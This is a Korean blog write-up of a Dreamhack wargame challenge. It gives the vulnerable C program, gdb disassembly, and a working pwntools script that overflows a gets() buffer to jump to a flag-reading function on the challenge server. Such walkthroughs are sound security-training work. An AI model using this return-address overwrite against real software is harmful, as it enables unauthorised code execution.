basic_exploitation_001

2022. 7. 18. 17:07·Wargame/Dreamhack
728x90
반응형
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

앞선 문제와 다르게 이번에는 gets로 문자열을 입력받는다.
또한 read_flag 함수를 통해 flag를 읽을 수 있으니 shellcode를 삽입할 필요 없이 해당 함수로 return 하면 된다.

그럼 gets로 입력받는 버퍼의 크기 및 위치와 read_flag 함수의 주소를 확인해보면 아래와 같다.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini
gef➤  disas read_flag
Dump of assembler code for function read_flag:
   0x080485b9 <+0>:     push   ebp
   0x080485ba <+1>:     mov    ebp,esp
   0x080485bc <+3>:     push   0x8048679
   0x080485c1 <+8>:     call   0x8048410 <system@plt>
   0x080485c6 <+13>:    add    esp,0x4
   0x080485c9 <+16>:    nop
   0x080485ca <+17>:    leave
   0x080485cb <+18>:    ret
End of assembler dump.
gef➤  disas main
Dump of assembler code for function main:
   0x080485cc <+0>:     push   ebp
   0x080485cd <+1>:     mov    ebp,esp
   0x080485cf <+3>:     add    esp,0xffffff80
   0x080485d2 <+6>:     call   0x8048572 <initialize>
   0x080485d7 <+11>:    lea    eax,[ebp-0x80]
   0x080485da <+14>:    push   eax
   0x080485db <+15>:    call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:    add    esp,0x4
   0x080485e3 <+23>:    mov    eax,0x0
   0x080485e8 <+28>:    leave
   0x080485e9 <+29>:    ret
End of assembler dump.

이에 전체 페이로드는
더미 132 byte + read_flag 함수 주소 4 byte
가 되며, 마지막에 cat flag를 받아와서 출력하면 된다.

from pwn import *

totlen=132

pay = b''
pay += b'A'*totlen
pay += p32(0x080485b9)

p=remote('host3.dreamhack.games',17652)
p.sendline(pay)
print(p.recv(36))


┌──(kali㉿kali)-[~/Downloads/2]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 17652: Done
b'DH{----------#플래그는 삭제}'
[*] Closed connection to host3.dreamhack.games port 17652
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

Return to Shellcode  (0) 2022.07.19
ssp_001  (0) 2022.07.18
basic_exploitation_000  (0) 2022.07.18
Return Address Overwrite  (0) 2022.07.18
shell_basic  (0) 2022.07.17
'Wargame/Dreamhack' 카테고리의 다른 글
  • Return to Shellcode
  • ssp_001
  • basic_exploitation_000
  • Return Address Overwrite
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    root
    Me
    exploit education
    tcache
    Format String Bug
    Buffer Overflow
    libc
    _IO_FILE
    x86
    64bit
    BOF
    root-me
    ROOT ME
    phoenix
    dreamhack
    x64
    FSB
    la ctf
    heap
    pwnable.kr
    cryptohack
    CANARY
    32bit
    vtable
    hackerschool
    docker
    rop
    pwntools
    lob
    RTL
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
basic_exploitation_001
상단으로

티스토리툴바